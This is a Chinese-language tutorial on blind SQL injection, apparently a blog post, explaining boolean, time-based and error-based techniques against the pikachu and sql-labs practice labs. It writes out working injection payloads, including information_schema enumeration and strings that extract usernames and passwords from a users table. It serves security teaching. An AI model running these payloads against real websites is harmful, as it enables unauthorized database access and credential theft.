SQL注入之盲注

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候需要报错或盲注进行后续的操作,同时作为手工注入时。报错注入最简单,其次布尔注入,最后是延时注入 

  • SQL语句网站应用

我们要学会看网站功能判断代码的写法

  1. select查询数据

在网站应用中进行数据显示查询操作

例: select * from news where id=$id

  1. insert插入数据

在网站应用中进行用户注册添加等操作

例: insert into news (id, url,text) values ( 2,'x','$t')

  1. delete删除数据

后台管理里面删除文章删除用户等操作

例: delete from news where id=$id

  1. update更新数据

会员或后台中心数据同步或缓存等操作

例: update user set password='xxx' where id=2 and username=' admin'

  1. order by排序数据

一般结合表名或列名进行数据排序操作

二、SQL语句盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称为盲注。盲注可以分为一下三类:

1、基于布尔的SQL盲注-逻辑判断 regexp, like , ascii,left, ord , mid

2、基于时间的SQL盲注-延时判断 if ,sleep

3、基于报错的SQL盲注-报错回显 floor,updatexml,extractvalue

1、insert语句注入(pikachu)

用burp抓取post数据包,并修改数据包,如图进行注入

SQL注入之盲注_第1张图片

以此类推

SQL注入之盲注_第2张图片

2、update语句.

通过网络抓取到post提交数据,原理基本一致,以此类推

SQL注入之盲注_第3张图片

3、delete注入(pikachu)

通过网络协议发现,没删除一个留言id都会发生变化,这说明了请求注入的时候id也就是注入点

SQL注入之盲注_第4张图片

可以看见对已经删除的留言显示失败,说明id存在注入,由于id是数字,所以先尝试不见符号进行注入,又因为不能正常回显,所以使用报错注入法,以此类推

SQL注入之盲注_第5张图片

SQL注入之盲注_第6张图片

  • SQL时间盲注

1、Sleep语句

SQL注入之盲注_第7张图片

2、If语句

1代表真 0为假

用if语句判断是否为真

SQL注入之盲注_第8张图片

3、if + sleep语句

原理一样,第一种更加简便,如果数据库是security就延迟五秒否则立刻返回,一般实站收到网络影响,时间注入不是很靠谱,适合手工

参考:

like 'ros'                                                          #判断ro或ro...是否成立

regexp '^xiaodi [a-z]'                 #匹配xiaodi及xiaodi...等if(条件,5,0)

sleep (5)                                                                #sQL语句延时执行s秒

mid (a, b, c)                                                    #从位置b开始,截取a字符串的c位

substr( a,b, c)                                           #从b位置开始,截取字符串a的c长度

left (database(),1), database() #left(a,b)从左侧截取a的前b位

length(database ())=8                       #判断数据库database ()名的长度

ord=ascii ascii(x)=97                 #判断x的ascii码是否等于97

4、if + mid + sleep

Mid函数和substr函数是同义词,远离一致

Mid函数语法:

Mid(a,b,c)

其中a指的是字符,b指的是当前位置开始,c指的是结束位,例如:

Mid(’hacker’,1,2)指的是输出hakcer一到2位,即ha

判断数据库名称是不是以s开头,如果是延时五秒

  • 布尔盲注(sql-labs5)

布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。

 页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。

布尔注入用到的函数:

mid(str,start,length)  :字符串截取

ORD()                  :转换成ascii码

Length()               :统计长度

version()              :查看数据库版本

database()             :查看当前数据库名

user()                 :查看当前用户

布尔注入流程:
猜解获取数据库长度

渗透过程中,以此类推

SQL注入之盲注_第9张图片

猜解数据库名
'or mid(database(),1,1)= 'z' --+    :因为需要验证的字符太多,所以转化为ascii码验证

'or ORD(mid(database(),1,1)) > 100 --+ :通过确定ascii码,从而确定数据库名

SQL注入之盲注_第10张图片

猜解表的总数

‘and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2  --+   :判断表的总数

猜解表名

以此类推,

先判断长度,然后爆字符

and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1)>1%23

and substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1),1,1)='e'%23

SQL注入之盲注_第11张图片

SQL注入之盲注_第12张图片

Ord和ascii函数都是把字符转换成ascii值

SQL注入之盲注_第13张图片

猜解表字段的总数(count)

Count函数是计算总数有多少个,而不是长度

SQL注入之盲注_第14张图片

猜解表的字段名

先判断长度,然后猜解字符(可利用burp暴力破解)

利用mid函数猜解字符

SQL注入之盲注_第15张图片

通过此方法,以此类推,直接猜解出字段名

SQL注入之盲注_第16张图片

判断内容的总数

当你知道字段名为 id username password时候

以此类推

SQL注入之盲注_第17张图片

SQL注入之盲注_第18张图片

猜解内容长度·

当你知道字段名为 id username password时候

SQL注入之盲注_第19张图片

猜解内容

通过mid函数猜解内容

?id=1' and mid((select (concat(username,'~',password)) from security.users limit 0,1),1,1) ='D'--+

SQL注入之盲注_第20张图片

通过ascii计算猜解内容

?id=1' and ORD(mid((select (concat(username,'~',password)) from security.users limit 0,1),1,1))=68--+

SQL注入之盲注_第21张图片

也可以直接猜解出内容

?id=1' and (select (concat(username,'~',password)) from security.users limit 0,1)='Dumb~Dumb'--+

SQL注入之盲注_第22张图片

遇到实战建议布尔盲注加延时注入效果更佳,极其适合手工

关于库的计算总数

以此类推就好了

SQL注入之盲注_第23张图片

SQL注入之盲注_第24张图片

猜解第一个库的长度

SQL注入之盲注_第25张图片

直接验证数据名

SQL注入之盲注_第26张图片

你可能感兴趣的:(#,SQL注入,sql,数据库,网络安全)